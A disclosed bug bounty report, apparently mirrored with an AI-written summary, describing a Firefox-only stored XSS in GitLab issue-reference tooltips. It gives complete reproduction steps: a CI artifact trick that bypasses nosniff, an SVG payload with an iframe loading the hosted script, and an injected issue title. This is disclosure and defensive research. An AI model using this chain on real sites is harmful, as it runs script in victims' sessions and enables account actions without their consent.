XSS on Issue reference numbers
GitLab's tooltip for issue reference numbers allowed SVG elements with external references, enabling an attacker to execute JavaScript when a user hovered over a crafted reference. The attacker could perform arbitrary actions on behalf of the victim.
- Triaged in 11 hours
- Fixed in 4 months
- Paid in 11 hours
- Disclosed after 8 months
Dear team,
I found an XSS that occurs when users move mouse over reference numbers of issues.
This XSS occurs on Firefox. It does not occurs on Webkit-based ones such as Safari, Chrome. I haven't tested on Edge.
It can be also occured in older browsers due to svg4everybody() and cachedDocument.body.innerHTML = xhr.responseText
Summary
XSS caused by enabling HTML of tooltip of issues' reference numbers.
Bootstrap sanitizes macilious tags/attributes of HTML tooltips.
The issue is that gitlab allows <svg>, <use> and its xlink:href attribute.
This allows attacker to link external resource to svg images, then, to cause the XSS.
Steps to reproduce
Four big steps to reproduce:
- create a javascript file
- create a file containing external svg resource
- create an issue's title having svg content that use the resource above
- create a reference to the issue, XSS occurs when users move mouse over the reference link
Steps 1,2,3 are supposed to realized in a same project.
1. Create a javascript file
This step creates a javascript file that may contain arbitrary attack script.
For example, add a new file alert.js in a selected project with the following content:
alert('Hello: ' + window.parent.location.href);
This script will be used by an iframe.
Since gitlab changes its mime type to 'text/plain' and set header X-Content-Type-Options: nosniff, browser will refuse to execute the javascript file if it will be loaded by script tag, such as <script src=alert.js></script.
This can be bypassed by using job artifacts.
Create another file .gitlab-ci.yml with the following content:
js:
script: echo "to generate mime type application/javascript"
artifacts:
paths:
- alert.js
expire_in: 4 week
After saving the file, gitlab CI/CD will start runing. Wait for the job finished.
Browse Job artifacts, then get the raw link of the generated alert.js file, for example:
https://gitlab.com/yvvdwf/svg-use-xss-firefox/-/jobs/486384886/artifacts/raw/alert.js
Note that the mime type of this js file is now application/javascript.
2. Create a svg file
Add the third file in to the project with the name xss.svg and the following content:
<svg id="xss" xmlns="http://www.w3.org/2000/svg">
<foreignObject>
<iframe xmlns="http://www.w3.org/1999/xhtml" srcdoc='<script src=https://gitlab.com/yvvdwf/svg-use-xss-firefox/-/jobs/486384886/artifacts/raw/alert.js> </script>'></iframe>
</foreignObject>
</svg>
Please note that, you must replace the link to alert.js file with your.
3. Create an issue
Create a new issue having the following title:
<svg><use xlink:href="https://gitlab.com/yvvdwf/svg-use-xss-firefox/-/raw/master/xss.svg#xss"/></svg>
4. Create a reference to the issue
In an issue discussion, or in a wiki page, enter the reference number of the issue, for example (suppose the issue id = 1):
Move mouse over #1 to see alert
When you move mouse over the number 1, you will see a (normal) tooltip and a popup executed by the alert.js file above.
This has been tested on the latest Firefox (74.0 (64-bit)) on macOS. Firefox allows foreignObject (but not webkit)
Impact
Attacker may perform arbitrary actions on behalf of users at the client side.
Examples
An example is on https://gitlab.com/yvvdwf/svg-use-xss-firefox This project is private. Please let me know if you cannot access it.
What is the expected correct behavior?
Malicious scripts must not be executed due to svg content.
Output of checks
This bug happens on GitLab.com
Impact
Attacker may perform arbitrary actions on behalf of users at the client side.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
Attacker may perform arbitrary actions on behalf of users at the client side; the exploit works on Firefox but not on WebKit-based browsers.
What the attacker needed
Victim uses Firefox; victim hovers over issue reference; attacker can create issue and files
How it was found
- Create a JavaScript file and use CI job artifacts to serve it with a JavaScript MIME type.
- Create an SVG file that embeds an iframe loading the JavaScript file.
- Create an issue whose title contains an SVG element referencing the external SVG file.
- Create a reference to that issue in a discussion or wiki page.
- Hover over the reference number to trigger the XSS.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A tooltip is a small pop-up that appears when you hover over a link. GitLab allowed certain HTML tags in these tooltips, including SVG (a format for vector images). An attacker could put a malicious SVG in an issue title, and when someone hovered over a reference to that issue, the SVG loaded and ran harmful JavaScript code.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.